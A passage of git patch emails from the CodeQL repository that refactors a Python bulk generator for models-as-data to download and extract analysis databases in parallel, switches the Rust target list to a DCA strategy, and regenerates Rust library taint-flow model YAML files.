"https://github.com/servo/rust-smallvec", - "git_tag": "v1.15.0" - }, - { - "name": "serde", - "git_repo": "https://github.com/serde-rs/serde", - "git_tag": "v1.0.219" - }, - { - "name": "tokio", - "git_repo": "https://github.com/tokio-rs/tokio", - "git_tag": "tokio-1.45.0" - }, - { - "name": "reqwest", - "git_repo": "https://github.com/seanmonstar/reqwest", - "git_tag": "v0.12.15" - }, - { - "name": "rocket", - "git_repo": "https://github.com/SergioBenitez/Rocket", - "git_tag": "v0.5.1" - }, - { - "name": "actix-web", - "git_repo": "https://github.com/actix/actix-web", - "git_tag": "web-v4.11.0" - }, - { - "name": "hyper", - "git_repo": "https://github.com/hyperium/hyper", - "git_tag": "v1.6.0" - }, - { - "name": "clap", - "git_repo": "https://github.com/clap-rs/clap", - "git_tag": "v4.5.38" - } - ], - "destination": "rust/ql/lib/ext/generated", - "extractor_options": [ - "cargo_features='*'" - ] -} \ No newline at end of file diff --git a/rust/misc/bulk_generation_targets.yml b/rust/misc/bulk_generation_targets.yml new file mode 100644 index 00000000000..fb0932f7a43 --- /dev/null +++ b/rust/misc/bulk_generation_targets.yml @@ -0,0 +1,45 @@ +strategy: repo +language: rust +destination: rust/ql/lib/ext/generated +extractor_options: +- cargo_features='*' +targets: +- git_repo: https://github.com/rust-lang/libc + git_tag: 0.2.172 + name: libc +- git_repo: https://github.com/rust-lang/log + git_tag: 0.4.27 + name: log +- git_repo: https://github.com/BurntSushi/memchr + git_tag: 2.7.4 + name: memchr +- git_repo: https://github.com/matklad/once_cell + git_tag: v1.21.3 + name: once_cell +- git_repo: https://github.com/rust-random/rand + git_tag: 0.9.1 + name: rand +- git_repo: https://github.com/servo/rust-smallvec + git_tag: v1.15.0 + name: smallvec +- git_repo: https://github.com/serde-rs/serde + git_tag: v1.0.219 + name: serde +- git_repo: https://github.com/tokio-rs/tokio + git_tag: tokio-1.45.0 + name: tokio +- git_repo: https://github.com/seanmonstar/reqwest + git_tag: v0.12.15 + name: reqwest +- git_repo: https://github.com/SergioBenitez/Rocket + git_tag: v0.5.1 + name: rocket +- git_repo: https://github.com/actix/actix-web + git_tag: web-v4.11.0 + name: actix-web +- git_repo: https://github.com/hyperium/hyper + git_tag: v1.6.0 + name: hyper +- git_repo: https://github.com/clap-rs/clap + git_tag: v4.5.38 + name: clap From 900a3b099212e2a4e4bb9042411c2ec36343bb0d Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 08:46:11 +0200 Subject: [PATCH 168/271] MaD generator: only pick up last database on comparison DCAs --- misc/scripts/models-as-data/bulk_generate_mad.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 4a6ee9fc51e..a5a066a85d9 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -331,6 +331,7 @@ def download_dca_databases( ) targets = response["targets"] project_map = {project["name"]: project for project in projects} + artifact_map = {} for data in targets.values(): downloads = data["downloads"] analyzed_database = downloads["analyzed_database"] @@ -341,6 +342,13 @@ def download_dca_databases( print(f"Skipping {pretty_name} as it is not in the list of projects") continue + if pretty_name in artifact_map: + print(f"Skipping previous database {artifact_map[pretty_name]['artifact_name']} for {pretty_name}") + + artifact_map[pretty_name] = analyzed_database + + for pretty_name, analyzed_database in artifact_map.items(): + artifact_name = analyzed_database["artifact_name"] repository = analyzed_database["repository"] run_id = analyzed_database["run_id"] print(f"=== Finding artifact: {artifact_name} ===") From d5c16d609297c802f03a39606bc2ce3b4e6ae2f1 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 08:48:01 +0200 Subject: [PATCH 169/271] MaD generator: reformat --- misc/scripts/models-as-data/bulk_generate_mad.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index a5a066a85d9..c3ff2a4aed8 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -19,7 +19,9 @@ import tarfile try: import yaml except ImportError: - print("ERROR: PyYAML is not installed. Please install it with 'pip install pyyaml'.") + print( + "ERROR: PyYAML is not installed. Please install it with 'pip install pyyaml'." + ) sys.exit(1) import generate_mad as mad @@ -343,7 +345,9 @@ def download_dca_databases( continue if pretty_name in artifact_map: - print(f"Skipping previous database {artifact_map[pretty_name]['artifact_name']} for {pretty_name}") + print( + f"Skipping previous database {artifact_map[pretty_name]['artifact_name']} for {pretty_name}" + ) artifact_map[pretty_name] = analyzed_database From 31954fa7945e2a1ea1c056d45babbf912b952974 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 08:49:15 +0200 Subject: [PATCH 170/271] MaD generator: make bulk generator executable --- misc/scripts/models-as-data/bulk_generate_mad.py | 1 + 1 file changed, 1 insertion(+) mode change 100644 => 100755 misc/scripts/models-as-data/bulk_generate_mad.py diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py old mode 100644 new mode 100755 index c3ff2a4aed8..b117b952f6d --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python3 """ Experimental script for bulk generation of MaD models based on a list of projects. From fbd50583fe4f06587c63feec5a59ef544eff5e26 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 08:50:48 +0200 Subject: [PATCH 171/271] MaD generator: move bulk generation config files one directory up --- cpp/{misc => }/bulk_generation_targets.yml | 0 rust/{misc => }/bulk_generation_targets.yml | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename cpp/{misc => }/bulk_generation_targets.yml (100%) rename rust/{misc => }/bulk_generation_targets.yml (100%) diff --git a/cpp/misc/bulk_generation_targets.yml b/cpp/bulk_generation_targets.yml similarity index 100% rename from cpp/misc/bulk_generation_targets.yml rename to cpp/bulk_generation_targets.yml diff --git a/rust/misc/bulk_generation_targets.yml b/rust/bulk_generation_targets.yml similarity index 100% rename from rust/misc/bulk_generation_targets.yml rename to rust/bulk_generation_targets.yml From 4f47ee2e72702284d78005646267bb781bd4ef5b Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 09:29:46 +0200 Subject: [PATCH 172/271] MaD: make bulk generator DCA strategy download DBs in parallel --- .../models-as-data/bulk_generate_mad.py | 96 +++++++++++-------- 1 file changed, 58 insertions(+), 38 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index b117b952f6d..8fa94ccedd2 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -8,7 +8,7 @@ Note: This file must be formatted using the Black Python formatter. import os.path import subprocess import sys -from typing import NotRequired, TypedDict, List +from typing import NotRequired, TypedDict, List, Callable, Optional from concurrent.futures import ThreadPoolExecutor, as_completed import time import argparse @@ -111,6 +111,37 @@ def clone_project(project: Project) -> str: return target_dir +def run_in_parallel[T, U]( + func: Callable[[T], U], + items: List[T], + *, + on_error=lambda item, exc: None, + error_summary=lambda failures: None, + max_workers=8, +) -> List[Optional[U]]: + if not items: + return [] + max_workers = min(max_workers, len(items)) + results = [None for _ in range(len(items))] + with ThreadPoolExecutor(max_workers=max_workers) as executor: + # Start cloning tasks and keep track of them + futures = { + executor.submit(func, item): index for index, item in enumerate(items) + } + # Process results as they complete + for future in as_completed(futures): + index = futures[future] + try: + results[index] = future.result() + except Exception as e: + on_error(items[index], e) + failed = [item for item, result in zip(items, results) if result is None] + if failed: + error_summary(failed) + sys.exit(1) + return results + + def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: """ Clone all projects in parallel. @@ -122,40 +153,19 @@ def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: List of (project, project_dir) pairs in the same order as the input projects """ start_time = time.time() - max_workers = min(8, len(projects)) # Use at most 8 threads - project_dirs_map = {} # Map to store results by project name - - with ThreadPoolExecutor(max_workers=max_workers) as executor: - # Start cloning tasks and keep track of them - future_to_project = { - executor.submit(clone_project, project): project for project in projects - } - - # Process results as they complete - for future in as_completed(future_to_project): - project = future_to_project[future] - try: - project_dir = future.result() - project_dirs_map[project["name"]] = (project, project_dir) - except Exception as e: - print(f"ERROR: Failed to clone {project['name']}: {e}") - - if len(project_dirs_map) != len(projects): - failed_projects = [ - project["name"] - for project in projects - if project["name"] not in project_dirs_map - ] - print( - f"ERROR: Only {len(project_dirs_map)} out of {len(projects)} projects were cloned successfully. Failed projects: {', '.join(failed_projects)}" - ) - sys.exit(1) - - project_dirs = [project_dirs_map[project["name"]] for project in projects] - + dirs = run_in_parallel( + clone_project, + projects, + on_error=lambda project, exc: print( + f"ERROR: Failed to clone project {project['name']}: {exc}" + ), + error_summary=lambda failures: print( + f"ERROR: Failed to clone {len(failures)} projects: {', '.join(p['name'] for p in failures)}" + ), + ) clone_time = time.time() - start_time print(f"Cloning completed in {clone_time:.2f} seconds") - return project_dirs + return list(zip(projects, dirs)) def build_database( @@ -352,7 +362,8 @@ def download_dca_databases( artifact_map[pretty_name] = analyzed_database - for pretty_name, analyzed_database in artifact_map.items(): + def download(item: tuple[str, dict]) -> str: + pretty_name, analyzed_database = item artifact_name = analyzed_database["artifact_name"] repository = analyzed_database["repository"] run_id = analyzed_database["run_id"] @@ -383,13 +394,22 @@ def download_dca_databases( with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: # And we just untar it to the same directory as the zip file tar_ref.extractall(artifact_unzipped_location) - database_results[pretty_name] = os.path.join( - artifact_unzipped_location, remove_extension(entry) - ) + return os.path.join(artifact_unzipped_location, remove_extension(entry)) + + results = run_in_parallel( + download, + list(artifact_map.items()), + on_error=lambda item, exc: print( + f"ERROR: Failed to download database for {item[0]}: {exc}" + ), + error_summary=lambda failures: print( + f"ERROR: Failed to download {len(failures)} databases: {', '.join(item[0] for item in failures)}" + ), + ) print(f"\n=== Extracted {len(database_results)} databases ===") - return [(project, database_results[project["name"]]) for project in projects] + return [(project_map[n], r) for n, r in zip(artifact_map, results)] def get_mad_destination_for_project(config, name: str) -> str: From ee7eb86a1d15a153140ed553c9134a8d8a33c7a2 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 09:31:24 +0200 Subject: [PATCH 173/271] MaD: make bulk generator cleanup downloaded DBs --- misc/scripts/models-as-data/bulk_generate_mad.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 8fa94ccedd2..1255a1c84cc 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -16,6 +16,7 @@ import json import requests import zipfile import tarfile +import shutil try: import yaml @@ -385,6 +386,8 @@ def download_dca_databases( # First we open the zip file with zipfile.ZipFile(artifact_zip_location, "r") as zip_ref: artifact_unzipped_location = os.path.join(build_dir, artifact_name) + # clean up any remnants of previous runs + shutil.rmtree(artifact_unzipped_location, ignore_errors=True) # And then we extract it to build_dir/artifact_name zip_ref.extractall(artifact_unzipped_location) # And then we iterate over the contents of the extracted directory From 530b990dd5d3132db3601fa2259e416959655441 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 10:07:45 +0200 Subject: [PATCH 174/271] MaD generator: some final minor tweaks --- .../models-as-data/bulk_generate_mad.py | 38 ++++++++++++------- 1 file changed, 24 insertions(+), 14 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 1255a1c84cc..2c6920a3e98 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -326,7 +326,10 @@ def pretty_name_from_artifact_name(artifact_name: str) -> str: def download_dca_databases( - experiment_name: str, pat: str, projects: List[Project] + language: str, + experiment_name: str, + pat: str, + projects: List[Project], ) -> List[tuple[Project, str | None]]: """ Download databases from a DCA experiment. @@ -337,7 +340,6 @@ def download_dca_databases( Returns: List of (project_name, database_dir) pairs, where database_dir is None if the download failed. """ - database_results = {} print("\n=== Finding projects ===") response = get_json_from_github( f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", @@ -363,7 +365,7 @@ def download_dca_databases( artifact_map[pretty_name] = analyzed_database - def download(item: tuple[str, dict]) -> str: + def download_and_extract(item: tuple[str, dict]) -> str: pretty_name, analyzed_database = item artifact_name = analyzed_database["artifact_name"] repository = analyzed_database["repository"] @@ -391,16 +393,19 @@ def download_dca_databases( # And then we extract it to build_dir/artifact_name zip_ref.extractall(artifact_unzipped_location) # And then we iterate over the contents of the extracted directory - # and extract the tar.gz files inside it - for entry in os.listdir(artifact_unzipped_location): - artifact_tar_location = os.path.join(artifact_unzipped_location, entry) - with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: - # And we just untar it to the same directory as the zip file - tar_ref.extractall(artifact_unzipped_location) - return os.path.join(artifact_unzipped_location, remove_extension(entry)) + # and extract the language tar.gz file inside it + artifact_tar_location = os.path.join( + artifact_unzipped_location, f"{language}.tar.gz" + ) + with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: + # And we just untar it to the same directory as the zip file + tar_ref.extractall(artifact_unzipped_location) + ret = os.path.join(artifact_unzipped_location, language) + print(f"Extraction complete: {ret}") + return ret results = run_in_parallel( - download, + download_and_extract, list(artifact_map.items()), on_error=lambda item, exc: print( f"ERROR: Failed to download database for {item[0]}: {exc}" @@ -410,7 +415,7 @@ def download_dca_databases( ), ) - print(f"\n=== Extracted {len(database_results)} databases ===") + print(f"\n=== Extracted {len(results)} databases ===") return [(project_map[n], r) for n, r in zip(artifact_map, results)] @@ -463,7 +468,9 @@ To avoid loss of data, please commit your changes.""" case "repo": extractor_options = config.get("extractor_options", []) database_results = build_databases_from_projects( - language, extractor_options, projects + language, + extractor_options, + projects, ) case "dca": experiment_name = args.dca @@ -480,7 +487,10 @@ To avoid loss of data, please commit your changes.""" with open(args.pat, "r") as f: pat = f.read().strip() database_results = download_dca_databases( - experiment_name, pat, projects + language, + experiment_name, + pat, + projects, ) # Generate models for all projects From f4bbef9769619b4ce18bc24620cdbbc226812c1a Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 10:08:30 +0200 Subject: [PATCH 175/271] Rust: switch to DCA strategy for MaD bulk generation --- rust/bulk_generation_targets.yml | 57 +++++++++----------------------- 1 file changed, 15 insertions(+), 42 deletions(-) diff --git a/rust/bulk_generation_targets.yml b/rust/bulk_generation_targets.yml index fb0932f7a43..b2832d815ae 100644 --- a/rust/bulk_generation_targets.yml +++ b/rust/bulk_generation_targets.yml @@ -1,45 +1,18 @@ -strategy: repo +strategy: dca language: rust destination: rust/ql/lib/ext/generated -extractor_options: -- cargo_features='*' targets: -- git_repo: https://github.com/rust-lang/libc - git_tag: 0.2.172 - name: libc -- git_repo: https://github.com/rust-lang/log - git_tag: 0.4.27 - name: log -- git_repo: https://github.com/BurntSushi/memchr - git_tag: 2.7.4 - name: memchr -- git_repo: https://github.com/matklad/once_cell - git_tag: v1.21.3 - name: once_cell -- git_repo: https://github.com/rust-random/rand - git_tag: 0.9.1 - name: rand -- git_repo: https://github.com/servo/rust-smallvec - git_tag: v1.15.0 - name: smallvec -- git_repo: https://github.com/serde-rs/serde - git_tag: v1.0.219 - name: serde -- git_repo: https://github.com/tokio-rs/tokio - git_tag: tokio-1.45.0 - name: tokio -- git_repo: https://github.com/seanmonstar/reqwest - git_tag: v0.12.15 - name: reqwest -- git_repo: https://github.com/SergioBenitez/Rocket - git_tag: v0.5.1 - name: rocket -- git_repo: https://github.com/actix/actix-web - git_tag: web-v4.11.0 - name: actix-web -- git_repo: https://github.com/hyperium/hyper - git_tag: v1.6.0 - name: hyper -- git_repo: https://github.com/clap-rs/clap - git_tag: v4.5.38 - name: clap +- name: rust +- name: libc +- name: log +- name: memchr +- name: once_cell +- name: rand +- name: smallvec +- name: serde +- name: tokio +- name: reqwest +- name: rocket +- name: actix-web +- name: hyper +- name: clap From ec77eb3ec8d5f359ebcfc1f05f6d2383482d15fc Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 5 Jun 2025 10:08:47 +0200 Subject: [PATCH 176/271] Rust: regenerate MaD models --- ....com-actix-actix-web-actix-files.model.yml | 14 + ...-actix-actix-web-actix-http-test.model.yml | 30 - ...b.com-actix-actix-web-actix-http.model.yml | 44 +- ...-actix-actix-web-actix-multipart.model.yml | 27 + ...b.com-actix-actix-web-actix-test.model.yml | 16 - ...actix-actix-web-actix-web-actors.model.yml | 12 + ...ctix-actix-web-actix-web-codegen.model.yml | 1 - ...ub.com-actix-actix-web-actix-web.model.yml | 31 +- ...s-github.com-actix-actix-web-awc.model.yml | 75 +- ...tps-github.com-clap-rs-clap-clap.model.yml | 7 + ...thub.com-clap-rs-clap-clap_bench.model.yml | 1 + ...ub.com-clap-rs-clap-clap_builder.model.yml | 54 +- ...b.com-clap-rs-clap-clap_complete.model.yml | 1 + ...hub.com-clap-rs-clap-clap_derive.model.yml | 14 +- ...-github.com-hyperium-hyper-hyper.model.yml | 27 +- ...hub.com-rust-lang-libc-libc-test.model.yml | 1 - ...s-github.com-rust-lang-libc-libc.model.yml | 84 +- ...tps-github.com-rust-lang-log-log.model.yml | 5 - ...hub.com-BurntSushi-memchr-memchr.model.yml | 87 +- ....com-matklad-once_cell-once_cell.model.yml | 1 - ...github.com-rust-random-rand-rand.model.yml | 3 + ...com-rust-random-rand-rand_chacha.model.yml | 12 + ....com-seanmonstar-reqwest-reqwest.model.yml | 93 +- .../generated/rocket/repo-cookies.model.yml | 7 + .../generated/rocket/repo-fairings.model.yml | 10 + ...ps-github.com-rwf2-Rocket-rocket.model.yml | 169 ++- ...b.com-rwf2-Rocket-rocket_codegen.model.yml | 12 + ...thub.com-rwf2-Rocket-rocket_http.model.yml | 48 +- ...contrib-db_pools-rocket_db_pools.model.yml | 14 + ...n_templates-rocket_dyn_templates.model.yml | 7 + ...nc_db_pools-rocket_sync_db_pools.model.yml | 1 + ...t-tree-v0.5-contrib-ws-rocket_ws.model.yml | 7 + .../rocket/repo-manual_routes.model.yml | 9 + .../ext/generated/rocket/repo-state.model.yml | 10 + .../rocket/repo-static-files.model.yml | 7 + .../ext/generated/rocket/repo-tls.model.yml | 2 + .../ext/generated/rust/lang-alloc.model.yml | 314 ++++- .../ext/generated/rust/lang-core.model.yml | 830 ++++++++++-- .../ext/generated/rust/lang-other.model.yml | 8 + .../generated/rust/lang-proc_macro.model.yml | 28 +- .../lib/ext/generated/rust/lang-std.model.yml | 357 +++-- .../generated/rust/repo-dylib-dep.model.yml | 7 + ...rust-lang-backtrace-rs-backtrace.model.yml | 36 + ...ust-lang-portable-simd-core_simd.model.yml | 48 + ....com-rust-lang-stdarch-core_arch.model.yml | 1195 +++++++++++++++++ .../rust/repo-intrinsic-test.model.yml | 49 + .../generated/rust/repo-std_float.model.yml | 7 + .../rust/repo-stdarch-gen-arm.model.yml | 93 ++ .../rust/repo-stdarch-gen-loongarch.model.yml | 7 + .../rust/repo-stdarch-test.model.yml | 10 + .../rust/repo-stdarch_examples.model.yml | 8 + .../rust/repo-test_helpers.model.yml | 12 + ...-github.com-serde-rs-serde-serde.model.yml | 7 + ....com-serde-rs-serde-serde_derive.model.yml | 3 +- ...com-servo-rust-smallvec-smallvec.model.yml | 11 +- .../generated/tokio/repo-examples.model.yml | 7 + ....com-tokio-rs-tokio-tokio-stream.model.yml | 5 - ...ub.com-tokio-rs-tokio-tokio-test.model.yml | 2 + ...ub.com-tokio-rs-tokio-tokio-util.model.yml | 19 +- ...-github.com-tokio-rs-tokio-tokio.model.yml | 74 +- 60 files changed, 3518 insertions(+), 562 deletions(-) create mode 100644 rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-state.model.yml create mode 100644 rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/lang-other.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-std_float.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml create mode 100644 rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml create mode 100644 rust/ql/lib/ext/generated/tokio/repo-examples.model.yml diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml index ed7c81cde18..50981fcdb5c 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml @@ -6,6 +6,7 @@ extensions: data: - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[0]", "ReturnValue.Field[crate::directory::Directory::base]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[1]", "ReturnValue.Field[crate::directory::Directory::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::new_service", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::default_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::disable_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -22,6 +23,7 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-files", "::use_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_hidden_files", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::new_service", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::content_disposition", "Argument[self].Field[crate::named::NamedFile::content_disposition]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::content_encoding", "Argument[self].Field[crate::named::NamedFile::encoding]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::content_type", "Argument[self].Field[crate::named::NamedFile::content_type]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -49,10 +51,22 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_etag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[self].Field[crate::named::NamedFileService::path].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[self].Field[crate::named::NamedFileService::path]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[crate::service::FilesService(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[0]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::size]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[1]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::offset]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::directory::directory_listing", "Argument[1].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::encoding::equiv_utf8_text", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-files", "::respond_to", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::into_response", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::last_modified", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::directory::directory_listing", "Argument[0]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml index e76569692ab..71c599dd54e 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml @@ -5,36 +5,6 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/actix/actix-web:actix-http-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", 